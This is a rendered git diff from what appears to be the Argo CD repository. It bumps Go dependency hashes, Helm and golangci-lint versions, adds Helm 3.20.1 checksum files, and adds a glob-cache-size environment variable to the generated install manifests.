github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.20/go.mod h1:oydPDJKcfMhgfcgBUZaG+toBbwy8yPWubJXBVERtI4o=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.20 h1:tN6W/hg+pkM+tf9XDkWUbDEjGLb+raoBMFsTodcoYKw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.20/go.mod h1:YJ898MhD067hSHA6xYCx5ts/jEd8BSOLtQDL3iZsvbc=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.5 h1:clHU5fm//kWS1C2HgtgWxfQbFbx4b6rx+5jzhgX9HrI=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.5/go.mod h1:O3h0IK87yXci+kg6flUKzJnWeziQUKciKrLjcatSNcY=
|
||||
github.com/aws/aws-sdk-go-v2/service/codecommit v1.33.11 h1:R3S5odXTsflG7xUp9S2AsewSXtQi1LBd+stJ5OpCIog=
|
||||
github.com/aws/aws-sdk-go-v2/service/codecommit v1.33.11/go.mod h1:OekzWXyZi3ptl+YoKmm+G5ODIa4BDEArvZv8gHrQb5s=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.6 h1:XAq62tBTJP/85lFD5oqOOe7YYgWxY9LvWq8plyDvDVg=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.6/go.mod h1:x0nZssQ3qZSnIcePWLvcoFisRXJzcTVvYpAAdYX8+GI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.19 h1:X1Tow7suZk9UCJHE1Iw9GMZJJl0dAnKXXP1NaSDHwmw=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.19/go.mod h1:/rARO8psX+4sfjUQXp5LLifjUt8DuATZ31WptNJTyQA=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.5 h1:dj5kopbwUsVUVFgO4Fi5BIT3t4WyqIDjGKCangnV/yY=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.5/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.13 h1:5KgbxMaS2coSWRrx9TX/QtWbqzgQkOdEa3sZPhBhCSg=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.13/go.mod h1:8zz7wedqtCbw5e9Mi2doEwDyEgHcEE9YOJp6a8jdSMY=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.13 h1:mA59E3fokBvyEGHKFdnpNNrvaR351cqiHgRg+JzOSRI=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.13/go.mod h1:yoTXOQKea18nrM69wGF9jBdG4WocSZA1h38A+t/MAsk=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.21 h1:NUS3K4BTDArQqNu2ih7yeDLaS3bmHD0YndtA6UP884g=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.21/go.mod h1:YWNWJQNjKigKY1RHVJCuupeWDrrHjRqHm0N9rdrWzYI=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.21 h1:Rgg6wvjjtX8bNHcvi9OnXWwcE0a2vGpbwmtICOsvcf4=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.21/go.mod h1:A/kJFst/nm//cyqonihbdpQZwiUhhzpqTsdbhDdRF9c=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.21 h1:PEgGVtPoB6NTpPrBgqSE5hE/o47Ij9qk/SEZFbUOe9A=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.21/go.mod h1:p+hz+PRAYlY3zcpJhPwXlLC4C+kqn70WIHwnzAfs6ps=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.6 h1:qYQ4pzQ2Oz6WpQ8T3HvGHnZydA72MnLuFK9tJwmrbHw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.6/go.mod h1:O3h0IK87yXci+kg6flUKzJnWeziQUKciKrLjcatSNcY=
|
||||
github.com/aws/aws-sdk-go-v2/service/codecommit v1.33.12 h1:yv3mfWt/eiDTTry6fkN5hh8wHJfU5ygnw+DJp10C0/c=
|
||||
github.com/aws/aws-sdk-go-v2/service/codecommit v1.33.12/go.mod h1:voO3LP/dZ4CTERiNWCz3DFLbK/8hbfeC1OJkLW+sang=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.7 h1:5EniKhLZe4xzL7a+fU3C2tfUN4nWIqlLesfrjkuPFTY=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.7/go.mod h1:x0nZssQ3qZSnIcePWLvcoFisRXJzcTVvYpAAdYX8+GI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.21 h1:c31//R3xgIJMSC8S6hEVq+38DcvUlgFY0FM6mSI5oto=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.21/go.mod h1:r6+pf23ouCB718FUxaqzZdbpYFyDtehyZcmP5KL9FkA=
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.8 h1:mGgiunl7ZwOwhpJwJNF4JfsZFYJp08wjyS3NqFQe3ws=
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.8/go.mod h1:KdM2EhXeHfeBQz5keOvv/FM7kbesjCWm7HEEyJe3frs=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.7 h1:Y2cAXlClHsXkkOvWZFXATr34b0hxxloeQu/pAZz2row=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.7/go.mod h1:idzZ7gmDeqeNrSPkdbtMp9qWMgcBwykA7P7Rzh5DXVU=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.9 h1:QKZH0S178gCmFEgst8hN0mCX1KxLgHBKKY/CLqwP8lg=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.9/go.mod h1:7yuQJoT+OoH8aqIxw9vwF+8KpvLZ8AWmvmUWHsGQZvI=
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.38.1 h1:ZtgZeMPJH8+/vNs9vJFFLI0QEzYbcN0p7x1/FFwyROc=
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.38.1/go.mod h1:Bar4MrRxeqdn6XIh8JGfiXuFRmyrrsZNTJotxEJmWW0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.30.12 h1:iSsvB9EtQ09YrsmIc44Heqlx5ByGErqhPK1ZQLppias=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.30.12/go.mod h1:fEWYKTRGoZNl8tZ77i61/ccwOMJdGxwOhWCkp6TXAr0=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.16 h1:EnUdUqRP1CNzt2DkV67tJx6XDN4xlfBFm+bzeNOQVb0=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.16/go.mod h1:Jic/xv0Rq/pFNCh3WwpH4BEqdbSAl+IyHro8LbibHD8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.8 h1:XQTQTF75vnug2TXS8m7CVJfC2nniYPZnO1D4Np761Oo=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.8/go.mod h1:Xgx+PR1NUOjNmQY+tRMnouRp83JRM8pRMw/vCaVhPkI=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.30.14 h1:GcLE9ba5ehAQma6wlopUesYg/hbcOhFNWTjELkiWkh4=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.30.14/go.mod h1:WSvS1NLr7JaPunCXqpJnWk1Bjo7IxzZXrZi1QQCkuqM=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.18 h1:mP49nTpfKtpXLt5SLn8Uv8z6W+03jYVoOSAl/c02nog=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.18/go.mod h1:YO8TrYtFdl5w/4vmjL8zaBSsiNp3w0L1FfKVKenZT7w=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.10 h1:p8ogvvLugcR/zLBXTXrTkj0RYBUdErbMnAFFp12Lm/U=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.10/go.mod h1:60dv0eZJfeVXfbT1tFJinbHrDfSJ2GZl4Q//OSSNAVw=
|
||||
github.com/aws/smithy-go v1.24.2 h1:FzA3bu/nt/vDvmnkg+R8Xl46gmzEDam6mZ1hzmwXFng=
|
||||
github.com/aws/smithy-go v1.24.2/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc=
|
||||
github.com/beevik/ntp v0.2.0/go.mod h1:hIHWr+l3+/clUnF44zdK+CWW7fO8dR5cIylAQ76NRpg=
|
||||
@@ -1404,8 +1404,8 @@ google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM
|
||||
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
|
||||
google.golang.org/grpc v1.32.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
|
||||
google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
|
||||
google.golang.org/grpc v1.79.2 h1:fRMD94s2tITpyJGtBBn7MkMseNpOZU8ZxgC3MMBaXRU=
|
||||
google.golang.org/grpc v1.79.2/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
|
||||
google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE=
|
||||
google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
|
||||
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
|
||||
@@ -1479,8 +1479,9 @@ k8s.io/gengo/v2 v2.0.0-20250604051438-85fd79dbfd9f/go.mod h1:EJykeLsmFC60UQbYJez
|
||||
k8s.io/klog/v2 v2.2.0/go.mod h1:Od+F08eJP+W3HUb4pSrPpgp9DGU4GzlpG/TmITuYh/Y=
|
||||
k8s.io/klog/v2 v2.5.0/go.mod h1:hy9LJ/NvuK+iVyP4Ehqva4HxZG/oXyIS3n3Jmire4Ec=
|
||||
k8s.io/klog/v2 v2.80.1/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0=
|
||||
k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk=
|
||||
k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE=
|
||||
k8s.io/klog/v2 v2.140.0 h1:Tf+J3AH7xnUzZyVVXhTgGhEKnFqye14aadWv7bzXdzc=
|
||||
k8s.io/klog/v2 v2.140.0/go.mod h1:o+/RWfJ6PwpnFn7OyAG3QnO47BFsymfEfrz6XyYSSp0=
|
||||
k8s.io/kube-aggregator v0.34.0 h1:XE4u+HOYkj0g44sblhTtPv+QyIIK7sJxrIlia0731kE=
|
||||
k8s.io/kube-aggregator v0.34.0/go.mod h1:GIUqdChXVC448Vp2Wgxf0m6fir7Xt3A2TAZcs2JNG1Y=
|
||||
k8s.io/kube-openapi v0.0.0-20250710124328-f3f2b991d03b h1:MloQ9/bdJyIu9lb1PzujOPolHyvO06MXG5TUIj2mNAA=
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
580515b544d5c966edc6f782c9ae88e21a9e10c786a7d6c5fd4b52613f321076 helm-v3.20.1-darwin-amd64.tar.gz
|
||||
@@ -0,0 +1 @@
|
||||
75cc96ac3fe8b8b9928eb051e55698e98d1e026967b6bffe4f0f3c538a551b65 helm-v3.20.1-darwin-arm64.tar.gz
|
||||
@@ -0,0 +1 @@
|
||||
0165ee4a2db012cc657381001e593e981f42aa5707acdd50658326790c9d0dc3 helm-v3.20.1-linux-amd64.tar.gz
|
||||
@@ -0,0 +1 @@
|
||||
56b9d1b0e0efbb739be6e68a37860ace8ec9c7d3e6424e3b55d4c459bc3a0401 helm-v3.20.1-linux-arm64.tar.gz
|
||||
@@ -0,0 +1 @@
|
||||
77b7d9bc62b209c044b873bc773055c5c0d17ef055e54c683f33209ebbe8883c helm-v3.20.1-linux-ppc64le.tar.gz
|
||||
@@ -0,0 +1 @@
|
||||
3c43d45149a425c7bf15ba3653ddee13e7b1a4dd6d4534397b6f317f83c51b58 helm-v3.20.1-linux-s390x.tar.gz
|
||||
@@ -2,6 +2,6 @@
|
||||
set -eux -o pipefail
|
||||
|
||||
# renovate: datasource=go packageName=github.com/golangci/golangci-lint/v2
|
||||
GOLANGCI_LINT_VERSION=2.11.3
|
||||
GOLANGCI_LINT_VERSION=2.11.4
|
||||
|
||||
GO111MODULE=on go install "github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v${GOLANGCI_LINT_VERSION}"
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
# Use ./hack/installers/checksums/add-helm-checksums.sh and
|
||||
# add-kustomize-checksums.sh to help download checksums.
|
||||
###############################################################################
|
||||
helm3_version=3.19.4
|
||||
helm3_version=3.20.1
|
||||
kustomize5_version=5.8.1
|
||||
protoc_version=29.3
|
||||
oras_version=1.2.0
|
||||
|
||||
@@ -316,6 +316,12 @@ spec:
|
||||
name: argocd-cmd-params-cm
|
||||
key: server.webhook.parallelism.limit
|
||||
optional: true
|
||||
- name: ARGOCD_SERVER_GLOB_CACHE_SIZE
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: argocd-cmd-params-cm
|
||||
key: server.glob.cache.size
|
||||
optional: true
|
||||
- name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
|
||||
6
manifests/ha/install-with-hydrator.yaml
generated
6
manifests/ha/install-with-hydrator.yaml
generated
@@ -34058,6 +34058,12 @@ spec:
|
||||
key: server.webhook.parallelism.limit
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_SERVER_GLOB_CACHE_SIZE
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
key: server.glob.cache.size
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
|
||||
6
manifests/ha/install.yaml
generated
6
manifests/ha/install.yaml
generated
@@ -33888,6 +33888,12 @@ spec:
|
||||
key: server.webhook.parallelism.limit
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_SERVER_GLOB_CACHE_SIZE
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
key: server.glob.cache.size
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
|
||||
@@ -3305,6 +3305,12 @@ spec:
|
||||
key: server.webhook.parallelism.limit
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_SERVER_GLOB_CACHE_SIZE
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
key: server.glob.cache.size
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
|
||||
6
manifests/ha/namespace-install.yaml
generated
6
manifests/ha/namespace-install.yaml
generated
@@ -3135,6 +3135,12 @@ spec:
|
||||
key: server.webhook.parallelism.limit
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_SERVER_GLOB_CACHE_SIZE
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
key: server.glob.cache.size
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
|
||||
6
manifests/install-with-hydrator.yaml
generated
6
manifests/install-with-hydrator.yaml
generated
@@ -33026,6 +33026,12 @@ spec:
|
||||
key: server.webhook.parallelism.limit
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_SERVER_GLOB_CACHE_SIZE
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
key: server.glob.cache.size
|
||||
name: argocd-cmd-params-cm
|
||||
optional: true
|
||||
- name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user